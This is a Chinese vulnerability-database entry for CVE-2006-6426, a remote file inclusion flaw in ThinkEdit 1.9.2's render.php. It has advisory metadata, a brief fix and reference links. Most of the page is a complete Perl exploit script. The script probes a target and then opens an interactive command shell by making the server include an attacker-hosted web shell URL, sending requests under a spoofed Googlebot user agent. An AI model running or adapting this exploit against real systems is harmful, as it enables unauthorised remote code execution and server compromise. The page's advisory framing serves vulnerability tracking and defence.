ThinkEdit 'render.php'PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111732 漏洞类型 未知
发布时间 2006-12-08 更新时间 2006-12-10
CVE编号 CVE-2006-6426 CNNVD-ID CNNVD-200612-215
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/2898
https://www.securityfocus.com/bid/87322
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200612-215
|漏洞详情
ThinkEdit1.9.2及早期版本的design/thinkedit/render.php存在PHP远程文件包含漏洞,远程攻击者可以借助template_file参数中的URL执行任意PHP代码。
|漏洞EXP
#################################################################################################
#                                    r0ut3r Presents...                                         #
#                                                                                               #
#                                Another r0ut3r discovery!                                      #
#                                  writ3r [at] gmail.com                                        #
#                                                                                               #
#                         ThinkEdit Remote File Inclusion Exploit                               #
#################################################################################################
# Software: ThinkEdit 1.9.2                                                                     #
#                                                                                               #
# Vendor: http://www.thinkedit.org/                                                             #
#                                                                                               #
# Released: 2006/12/08                                                                          #
#                                                                                               #
# Discovered & Exploit By: r0ut3r (writ3r [at] gmail.com)                                       #
#                                                                                               #
# Note: The information provided in this document is for ThinkEdit administrator                #
# testing purposes only!                                                                        #
#                                                                                               #
# Solution:                                                                                     #
# Add the below code to the top of render.php                                                   #
# if(basename(__FILE__) == basename($_SERVER['PHP_SELF']))                                      #
#    die();                                                                                     #
#                                                                                               #
# Exploit:                                                                                      #
# perl think.pl http://localhost /think/ http://localhost/cmd.txt cmd                           #
#                                                                                               #
# design/thinkedit/render.php?template_file=                                                    #
#################################################################################################

############################################################################
#                  Remote File Inclusion Exploiter                         #
#                                                                          #
# This script attempts to exploit a remote file include vulnerability      #
# by inserting a web shell into an include statement. A shell is then      #
# spawned.                                                                 #
#                                                                          #
# Created By r0ut3r (writ3r [at] gmail.com)                                #
############################################################################

use IO::Socket;

$port = "80"; # connection port
$target = @ARGV[0]; # localhost
$folder = @ARGV[1]; # /think/
$shellloc = @ARGV[2]; # http://localhost/cmd.txt
$cmdv = @ARGV[3]; # cmd
$vulnerable = false;
$s = true;

sub Header()
{
	print q {Remote File Inclusion Exploiter - By r0ut3r (writ3r [at] gmail.com)
-------------------------------------------------------------------
};
}

sub Usage()
{
	print q
	{
Usage: think.pl [target] [directory] [shell_loc] [cmd_variable]
perl think.pl http://localhost /think/ http://localhost/cmd.txt cmd
};
	exit();
}

Header();

if (!$target || !$folder || !$shellloc || !$cmdv) {
	Usage(); }

if ($s eq false) { print "[-] Shell not found\n"; exit(); }

# Check if the script is vulnerable and register_globals are on (if needed)
$vulnc = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...\r\n";
print $vulnc "GET ".$folder."render.php?template_file=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1\n";
print $vulnc "Host: $target\n";
print $vulnc "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
print $vulnc "Accept: text/html\n";
print $vulnc "Connection: keep-alive\n\n";

while (<$vulnc>) {
	if (/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/) { $vulnerable = true; }
}

if ($vulnerable eq false) { print "[-] Target not vulnerable, or register_globals could be off\n"; exit(); }

print "[+] Starting shell\n";
print "[cmd]\$ ";
$cmd = <STDIN>;
$cmd =~ s/ /%20/g;
while ($cmd !~ "exit")
{
	$xpack = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...\r\n";
	print $xpack "GET ".$folder."render.php?template_file=".$shellloc."&".$cmdv."=".substr($cmd, 0, -1)." HTTP/1.1\n";
	print $xpack "Host: $target\n";
	print $xpack "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
	print $xpack "Accept: text/html\n";
	print $xpack "Connection: keep-alive\n\n";

	print "[cmd]\$ ";
	$cmd = <STDIN>;
}

print "[!] Connection to host lost...\n";

# milw0rm.com [2006-12-08]
|受影响的产品
ThinkEdit ThinkEdit 1.9.2
|参考资料

来源:VUPEN
名称:ADV-2006-4906
链接:http://www.frsirt.com/english/advisories/2006/4906
来源:svn.berlios.de
链接:http://svn.berlios.de/viewcvs/thinkedit/trunk/design/thinkedit/render.php?rev=321&r1=230&r2=321
来源:SECUNIA
名称:23279
链接:http://secunia.com/advisories/23279
来源:XF
名称:thinkedit-render-file-include(30772)
链接:http://xforce.iss.net/xforce/xfdb/30772
来源:MILW0RM
名称:2898
链接:http://www.milw0rm.com/exploits/2898
来源:SECTRACK
名称:1017359
链接:http://securitytracker.com/id?1017359
来源:MILW0RM
名称:2898
链接:http://milw0rm.com/exploits/2898